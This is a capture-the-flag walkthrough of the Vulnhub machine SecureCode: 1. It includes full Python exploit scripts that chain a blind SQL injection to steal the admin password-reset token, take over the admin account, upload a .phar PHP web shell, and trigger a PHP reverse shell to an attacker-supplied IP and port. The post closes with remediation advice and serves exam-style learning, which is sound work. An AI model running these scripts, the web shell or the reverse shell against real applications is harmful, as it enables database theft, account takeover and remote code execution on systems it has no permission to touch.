Vulnhub started hosting a machine named SecureCode: 1 on February 23rd, 2021. This machine was created by the user sud0root with a description of “OSWE-like machine”. Overall the machine was simple, but it did provide some good practice reviewing code and writing a proof of concept exploit script.
Reconnaissance
To begin, I executed a Nmap scan to check for open ports. The scan ran all scripts, checked for versions, output all formats, and targeted all TCP ports. This resulted in just one open port hosting a web app.
kali@kali:~/oswe/securecode1$ nmap -sC -sV -oA AllTCP -p- securecode1 Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-23 20:45 EDT Nmap scan report for securecode1 Host is up (0.00014s latency). Not shown: 65534 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-robots.txt: 1 disallowed entry |_/login/* |_http-title: Coming Soon 2 |_http-server-header: Apache/2.4.29 (Ubuntu) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.46 seconds
Next, I scanned for directories using the “raft-large-directories.txt” in secLists. Some of these files contained weak permissions allowing me to view the folder structure, but this didn’t help in identifying any vulnerabilities that lead to forward exploitation. This enumeration did lead to a login page we can take a look at though.
kali@kali:~/oswe/securecode1$ gobuster dir -u http://securecode1 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-directories.txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://securecode1 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-directories.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/05/23 20:46:33 Starting gobuster in directory enumeration mode =============================================================== /login (Status: 301) [Size: 310] [--> http://securecode1/login/] /include (Status: 301) [Size: 312] [--> http://securecode1/include/] /users (Status: 301) [Size: 310] [--> http://securecode1/users/] /profile (Status: 301) [Size: 312] [--> http://securecode1/profile/] /item (Status: 301) [Size: 309] [--> http://securecode1/item/] /asset (Status: 301) [Size: 310] [--> http://securecode1/asset/] /server-status (Status: 403) [Size: 276] Progress: 21532 / 62276 (34.58%) [ERROR] 2022/05/23 20:46:36 [!] parse "http://10.0.11.1 41/error\x1f_log": net/url: invalid control character in URL =============================================================== 2022/05/23 20:46:43 Finished ===============================================================
No interesting files discovered during gobuster scanning.
kali@kali:~/oswe/securecode1$ gobuster dir -u http://securecode1 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-files.txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://securecode1 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-files.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/05/23 20:46:59 Starting gobuster in directory enumeration mode =============================================================== /index.php (Status: 200) [Size: 3650] /.htaccess (Status: 403) [Size: 276] /robots.txt (Status: 200) [Size: 33] /. (Status: 200) [Size: 3650] /.html (Status: 403) [Size: 276] /.php (Status: 403) [Size: 276] /.htpasswd (Status: 403) [Size: 276] /.htm (Status: 403) [Size: 276] /.htpasswds (Status: 403) [Size: 276] /.htgroup (Status: 403) [Size: 276] /wp-forum.phps (Status: 403) [Size: 276] /.htaccess.bak (Status: 403) [Size: 276] /.htuser (Status: 403) [Size: 276] /.ht (Status: 403) [Size: 276] /.htc (Status: 403) [Size: 276] /.htaccess.old (Status: 403) [Size: 276] /.htacess (Status: 403) [Size: 276] Progress: 23137 / 37043 (62.46%) [ERROR] 2022/05/23 20:47:03 [!] parse "http://securecode1/directory\t\te.g.": net/url: i nvalid control character in URL =============================================================== 2022/05/23 20:47:05 Finished ===============================================================
I then navigated to the “securecode1” homepage, which displayed a “COMING SOON” message. No other observed interaction was found on this page.
On the login page, the user was presented with the typical login and forgot password options. I did proxy the requests and hit the fields with Burp Suite Intruder, but nothing unusual was returned from the web application.
After getting stuck here for a while, I realized there was a “source_code.zip” that was intended to be used to do code review on the application.
I began by reviewing how the web application was laid out and how customer data was being handled. Now that we know customer data is stored in a database we can search for any possible SQLi vulnerabilities that could help us get a foothold. For this, I started by searching for all instances of the word “SELECT”. This returned 76 results in 25 files.
Each query was reviewed manually checking for mistakes or anomalies in the developer’s queries to the database.
After a bit of searching, I found a few red flags in the “viewItem.php” file. First, we have comments claiming “Still under development”. As an attacker, I love seeing this comment. Next, we see a follow-up comment explaining how authentication should work for this endpoint. Last, I saw an unsanitized parameter without a quotation being sent to the database. This looked like a perfect place to start SQLi testing.
I was able to get to this line of code without authentication. All this call needed was a GET to “viewItem.php” with the passed “ID” parameter.
I tested calling the “viewItem.php” endpoint with the value “1” as the “id”. This returned the expected HTTP 404 response showing that the SQL query was most likely happening.
Initial Foothold
Doing simple SQL queries, unfortunately, didn’t return any information to the caller, so it was time to build out some true/false queries to check for error response changes. For this, I provided a call that should return true. Let’s break it down. The original query called “SELECT * FROM item WHERE id =” we will fill this in with a 1 to indicate an existing user followed by a true statement. “1 AND 1 = 1”
So for the true statement, we received an HTTP 404 response. I then tried a false statement by replacing the 1 with a 2.
The false statement redirected the caller to the login page allowing me to possibly enumerate the contents of the database using the HTTP response codes.
The script excepted a target IP and port, then looped over the range from 1-100 for each character position. The “injectionQuery” brute-forced each character against the ASCII equivalent for an HTTP response not equal to “302”. Specifically for this query, we are enumerating the version of the database.
from ipaddress import ip_address import sys import requests import re import subprocess import argparse exfilData = [] def checkSqli(inj_str, ip, port): for values in range(32, 126): burp0_url = ("http://" + ip + ":" + port + "/item/viewItem.php?id=" + inj_str.replace("[CHAR]", str(values))) burp0_cookies = {"PHPSESSID": "l1hkg7o30au4rnqg90da82jhip"} burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} r = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies, allow_redirects=False) if r.status_code != 302: return values return None def main(): parser = argparse.ArgumentParser(description='Collect target arguments.') parser.add_argument('--targetip', type=str, required=True, help='Enter target hostname or IP') parser.add_argument('--targetport', type=str, required=True, help='Enter target port number') args = parser.parse_args() for each in range(1, 100): injectionQuery = "1/**/AND/**/(ascii(substring((select/**/version()),%d,1)))=[CHAR]%%23" % each try: exfilChar = chr(checkSqli(injectionQuery, args.targetip, args.targetport)) sys.stdout.write(exfilChar) exfilData.append(exfilChar) sys.stdout.flush() except: print("\n[+] All Characters Found!") break print("\nData: "+(''.join(map(str, exfilData)))) print("\n[+] Done!") if __name__ == "__main__": main()
Next, I tested the script to enumerate the version number of the database. This confirmed the script should be able to exfiltrate data from the database.
Looking back at the code, more specifically “db.sql”, I could see the user data was being stored in the user table.
With this information, I began exfiltrating different table information such as database names, usernames, passwords, and password reset tokens.
While exfiltrating the password for the “admin” user, the value returned “unaccessable_until_you_change_me”. From here, I began looking into the password reset code for the web application.
On line 75 of the “send_email” function I seen the format for the token targeted the “doResetPassword.php” endpoint.
To start the process, I started by resetting the password for the “admin” user.
This GET request generated a token that should now be in the “user” table. I executed the secure1_PoC.py code with the following query: SELECT token FROM user WHERE id = 1
Next, I tested the password reset token with a successful response. “Valid Token Provided, you can change your password below.”
The response included a form to enter the new password.
Last, I tested and logged in successfully with the changed password!
After logging in, I was presented with the first flag.
Privilege Escalation
Now that I have authenticated to the application, I reviewed all the new code I could reach by searching for “isAuthenticated.php”.
Looking at the “newitem.php” file we see an upload feature allowing the user to upload a picture to a new item.
Within the “updateitem.php” file I seen another upload feature to change an existing item. The difference here was that the MIME was not being checked. If we can get execution from a PHP filetype outside of the “blacklisted_exts” we should be good to go with remote code execution.
The resource I primarily used for this testing was a site named hacktricks. The payload I used was a one line PHP script that allows the caller to supply system commands for execution.
Many of the extensions I was able to upload to the application didn’t execute when navigating to them.
There was some different behavior with a few of the PHP extensions such as “.pht”.
The payload for the “.pht” file was wrapped as a PHP comment preventing execution.
Eventually I tested the “.phar” PHP extension. When navigating to the “.phar” file the page was blank, but looking at the source code didn’t get wrapped in comments.
Next, I appended “?cmd=id” to check for remote code execution. This worked as expected.
I started playing with different payloads to see what we could use to get a reverse shell from the target server. Netcat was not working for me, so I moved on to a PHP payload and sent it after URL encoding.
The listener was started with “nc -lvnp 53” and the request was made. I immediately recieved the reverse shell!
Last, I grabbed the root flag for SecureCode1.
Exploitation POC
Now that I had a solid path to remote code execution, a script should allow us to create a single click to exploitation. First, I planned the actions that needed to take place. This is usually how I split out my functions.
Execution Flow Description:
The main function begins on line 76 requesting the needed parameters from the user. First, the passwordReset function is called which simply performs an HTTP request to the “resetPassword.php” endpoint containing the target user within the body of the request.
Next, the SQLi function requests the token string from the database. This value is passed to the changePassword function on line 18. The token value and new password are povided within the body of the HTTP request.
From here I tested the admin login with the new password and uploaded the PHP command execution payload as an update to an existing item.
Last, the request sends the encoded PHP reverse shell containing the user supplied parameters.
from ipaddress import ip_address import sys import requests import argparse exfilData = [] def passwordReset(targetip, targetport): try: burp0_url = "http://" + targetip + ":" + targetport + "/login/resetPassword.php" burp0_cookies = {"PHPSESSID": "g79jmok31s2ectdeqaiboivhbo"} burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://securecode1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://securecode1/login/resetPassword.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} burp0_data = {"username": "admin"} requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) except: print("[ERROR] Password reset failed.") def changePassword(targetip, targetport, token, password): #Password reset request try: burp0_url = "http://" + targetip + ":" + targetport + "/login/doChangePassword.php" burp0_cookies = {"PHPSESSID": "g79jmok31s2ectdeqaiboivhbo"} burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"} burp0_data = {"token": token, "password": password} response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) print("Password successfully reset to " + password) adminLogin(targetip, targetport, password) uploadBackdoor(targetip, targetport) except: print("[ERROR] Password reset failed.") def adminLogin(targetip, targetport, password): try: burp0_url = "http://" + targetip + ":" + targetport + "/login/checkLogin.php" burp0_cookies = {"PHPSESSID": "g79jmok31s2ectdeqaiboivhbo"} burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://securecode1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://securecode1/login/login.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} burp0_data = {"username": "admin", "password": password} requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) print("Login success!") except: print("[ERROR] Admin user login failed.") #need to replace the burp cookie with legit cookie def uploadBackdoor(targetip, targetport): try: burp0_url = "http://" + targetip + ":" + targetport + "/item/updateItem.php" burp0_cookies = {"PHPSESSID": "g79jmok31s2ectdeqaiboivhbo"} burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://securecode1", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryOyeix4f7Vai9Oquf", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://securecode1/item/editItem.php?id=1", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} burp0_data = "------WebKitFormBoundaryOyeix4f7Vai9Oquf\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n1\r\n------WebKitFormBoundaryOyeix4f7Vai9Oquf\r\nContent-Disposition: form-data; name=\"id_user\"\r\n\r\n1\r\n------WebKitFormBoundaryOyeix4f7Vai9Oquf\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nRaspery Pi 4\r\n------WebKitFormBoundaryOyeix4f7Vai9Oquf\r\nContent-Disposition: form-data; name=\"image\"; filename=\"simple_backdoor.phar\"\r\nContent-Type: text/html\r\n\r\n<?php if(isset($_REQUEST['cmd'])){ echo \"<pre>\"; $cmd = ($_REQUEST['cmd']); system($cmd); echo \"</pre>\"; die; }?>\n\r\n------WebKitFormBoundaryOyeix4f7Vai9Oquf\r\nContent-Disposition: form-data; name=\"description\"\r\n\r\nLatest Raspberry Pi 4 Model B with 2/4/8GB RAM raspberry pi 4 BCM2711 Quad core Cortex-A72 ARM v8 1.5GHz Speeder Than Pi 3B\r\n------WebKitFormBoundaryOyeix4f7Vai9Oquf\r\nContent-Disposition: form-data; name=\"price\"\r\n\r\n92\r\n------WebKitFormBoundaryOyeix4f7Vai9Oquf--\r\n" requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) print("Payload uploaded successfully.") except: print("[ERROR] Payload upload failed.") def reverseShell(targetip, targetport, ip, port): try: burp0_url = "http://" + targetip + ":" + targetport + "/item/image/simple_backdoor.phar?cmd=php%20-r%20%27%24sock%3dfsockopen%28%22" + ip + "%22%2c" + port + "%29%3bexec%28%22%2fbin%2fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3b%27" burp0_cookies = {"PHPSESSID": "g79jmok31s2ectdeqaiboivhbo"} burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} print("Reverse shell successfull. Check your listener.") requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies) except: print("[ERROR] Reverse shell failed.") def checkSqli(inj_str, ip, port): for values in range(32, 126): burp0_url = ("http://" + ip + ":" + port + "/item/viewItem.php?id=" + inj_str.replace("[CHAR]", str(values))) burp0_cookies = {"PHPSESSID": "l1hkg7o30au4rnqg90da82jhip"} burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} r = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies, allow_redirects=False) if r.status_code != 302: return values return None def main(): parser = argparse.ArgumentParser(description='Collect target arguments.') parser.add_argument('--targetip', type=str, required=True, help='Enter target hostname or IP') parser.add_argument('--targetport', type=str, required=True, help='Enter target port number') parser.add_argument('--attackerip', type=str, required=True, help='Enter attacker hostname or IP') parser.add_argument('--attackerport', type=str, required=True, help='Enter attacker port number') parser.add_argument('--password', type=str, required=True, help='Password string to set Admin user to') args = parser.parse_args() passwordReset(args.targetip, args.targetport) for each in range(1, 100): # Database Version Query #injectionQuery = "1/**/AND/**/(ascii(substring((select/**/version()),%d,1)))=[CHAR]%%23" % each # Calling user query #injectionQuery = "1/**/AND/**/(ascii(substring((select/**/user()),%d,1)))=[CHAR]%%23" % each # Database name query #injectionQuery = "1/**/AND/**/(ascii(substring((select/**/database()),%d,1)))=[CHAR]%%23" % each # Database username query #injectionQuery = "1/**/AND/**/(ascii(substring((select/**/username/**/from/**/user/**/where/**/id/**/=/**/3),%d,1)))=[CHAR]%%23" % each # Database password query #injectionQuery = "1/**/AND/**/(ascii(substring((select/**/password/**/from/**/user/**/where/**/id/**/=/**/1),%d,2)))=[CHAR]%%23" % each # Database token query injectionQuery = "1/**/AND/**/(ascii(substring((select/**/token/**/from/**/user/**/where/**/id/**/=/**/1),%d,2)))=[CHAR]%%23" % each try: exfilChar = chr(checkSqli(injectionQuery, args.targetip, args.targetport)) sys.stdout.write(exfilChar) exfilData.append(exfilChar) sys.stdout.flush() except: print("\n[+] All Characters Found!") break finalData = (''.join(map(str, exfilData))) print("\nData: "+ finalData) changePassword(args.targetip, args.targetport, finalData, args.password) reverseShell(args.targetip, args.targetport, args.attackerip, args.attackerport) if __name__ == "__main__": main()
Execution Example:
Conclusion
Securecode1 was a pretty straight forward machine starting with pulling down the source code for review. This uncovered the first vulnerability which was a SQLi allowing database exfiltration. Grabbing the password reset token from the database allowed us to reset the admin user password.
The next vulnerability as discovered in the upload controls for items on the web application. The update item function allowed “.phar” PHP files to be uploaded and executed. This lead to a reverse shell using remote code execution.
The first vulnerability can easily be remediated by fixing the SQL query with quotations around the provided ID value. This prevents the user from breaking out of the query and using error based SQL injection to exfiltrate data from the database.
Remote code execution can be mitigated by staying consistant with the controls applied to the create item function within the application. Ensure the file contents are inspected by checking for MIME types. In addition, include the “.phar” extension in the blacklist for the application upload feature.
The Securecode1 aligns well with the OSWE content, and is a decend representation of vulnerablilties that could be encountered during the exam. Though nothing new was presented, it did help solidify some of the required skills for OSWE certification holders. I recommend going through this one and understanding why the vulnerabilities exist and how to remediate these findings from a developers perspective.
Until next time, stay safe in the Trenches of IT!